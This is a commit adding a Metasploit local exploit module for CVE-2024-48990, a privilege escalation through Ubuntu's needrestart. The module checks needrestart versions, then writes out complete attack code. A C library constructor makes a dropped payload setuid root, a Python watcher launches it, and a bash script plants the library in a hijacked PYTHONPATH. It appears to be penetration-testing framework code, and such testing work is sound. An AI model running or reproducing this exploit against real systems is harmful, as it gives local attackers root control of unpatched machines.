ubuntu needrestart lpe

This commit is contained in:
h00die
2024-11-22 15:44:45 -05:00
parent d5b71aa581
commit 94e5e49052
2 changed files with 304 additions and 0 deletions
@@ -0,0 +1,184 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
# includes: is_root?
include Msf::Post::Linux::Priv
# includes: has_gcc?
include Msf::Post::Linux::System
# includes: kernel_release
include Msf::Post::Linux::Kernel
# includes writable?, upload_file, upload_and_chmodx, exploit_data
include Msf::Post::File
# includes generate_payload_exe
include Msf::Exploit::EXE
# includes register_files_for_cleanup
include Msf::Exploit::FileDropper
# includes: COMPILE option, live_compile?, upload_and_compile
# strip_comments
include Msf::Post::Linux::Compile
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Ubuntu needrestart Privilege Escalation',
'Description' => %q{
local attackers can execute arbitrary code as root by
tricking needrestart into running the Python interpreter with an
attacker-controlled PYTHONPATH environment variable.
Verified against Ubuntu 22.04 with needrestart 3.5-5ubuntu2.1
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'makuga01', # PoC
'qualys' # original advisory
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Stance' => Msf::Exploit::Stance::Passive,
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'References' => [
[ 'URL', 'https://github.com/makuga01/CVE-2024-48990-PoC'],
[ 'URL', 'https://www.qualys.com/2024/11/19/needrestart/needrestart.txt'],
[ 'CVE', '2024-48990']
],
'DisclosureDate' => '2024-11-19',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, ]
}
)
)
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end
def base_dir
datastore['WritableDir'].to_s
end
def check
fixed_versions = {
'24.10' => Gem::Version.new('3.6-8ubuntu4.2'),
'24.04' => Gem::Version.new('3.6-7ubuntu4.3'),
'22.04' => Gem::Version.new('3.5-5ubuntu2.2'),
'20.04' => Gem::Version.new('3.4-6ubuntu0.1.esm1'),
'18.04' => Gem::Version.new('3.1-1ubuntu0.1.esm1'),
'16.04' => Gem::Version.new('2.6-1ubuntu0.1.esm1')
}
if file? '/etc/issue'
version = cmd_exec('cat /etc/issue | cut -d " " -f 2').strip
version = version.slice(0, 5) # take off any extra version info
return CheckCode::Safe("Ubuntu version #{version} is not vulnerable") unless fixed_versions.key? version
package = cmd_exec('dpkg -l needrestart | grep \'^ii\'')
package = package.split(' ')[2]
package = package.gsub('+', '.')
if package && Gem::Version.new(package) < fixed_versions[version]
return CheckCode::Appears("Vulnerable needrestart version #{package} detected on Ubuntu #{version}")
else
return CheckCode::Safe("needrestart is not vulnerable on Ubuntu #{version}")
end
end
CheckCode::Safe("app #{package} is not vulnerable")
end
#
# The exploit method drops a payload file to the system, then either compiles and runs
# or just runs the exploit on the system.
#
def exploit
# Check if we're already root
if !datastore['ForceExploit'] && is_root?
fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override'
end
# Make sure we can write our exploit and payload to the local system
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
upload_and_chmodx payload_path, generate_payload_exe
vprint_status("Uploading payload: #{payload_path}")
register_files_for_cleanup(payload_path)
c_stub = %|#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
static void a() __attribute__((constructor));
void a() {
setuid(0);
setgid(0);
const char *shell = "chown root:root #{payload_path}; chmod a+x #{payload_path}; chmod u+s #{payload_path} &";
system(shell);
}|
c_stub_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}.c"
write_file c_stub_path, c_stub
vprint_status("Uploading c_stub: #{c_stub_path}")
register_files_for_cleanup(c_stub_path)
py_script = %|import os
import time
import pwd
print("#########################\\n\\nDont mind the error message above\\n\\nWaiting for needrestart to run...")
while True:
file_stat = os.stat('#{payload_path}')
username = pwd.getpwuid(file_stat.st_uid).pw_name
if (username == 'root'):
print("Payload owned by: " + username)
os.system('#{payload_path} &')
break
time.sleep(1)|
py_stub_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
write_file py_stub_path, py_script
vprint_status("Uploading py_script: #{py_stub_path}")
register_files_for_cleanup(py_stub_path)
build_run_script = %|#!/bin/bash
set -e
mkdir -p "#{base_dir}/importlib"
# Compile lib.c into the prepared PYTHONPATH
gcc -shared -fPIC -o "#{base_dir}/importlib/__init__.so" #{c_stub_path}
# Set the malicious PYTHONPATH and run a py script that waits for the shell
PYTHONPATH="#{base_dir}" python3 #{py_stub_path}|
build_run_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
write_file build_run_path, build_run_script
cmd_exec "chmod +x #{build_run_path}"
vprint_status("Uploading build and run script: #{build_run_path}")
register_files_for_cleanup(build_run_path)
register_dir_for_cleanup("#{base_dir}/importlib")
# Launch exploit with a timeout. We also have a vprint_status so if the user wants all the
# output from the exploit being run, they can optionally see it
timeout = 86_400 # 24 hours
print_status 'Launching exploit, and waiting for needrestart to run...'
output = cmd_exec build_run_path, nil, timeout
output.each_line { |line| vprint_status line.chomp }
end
end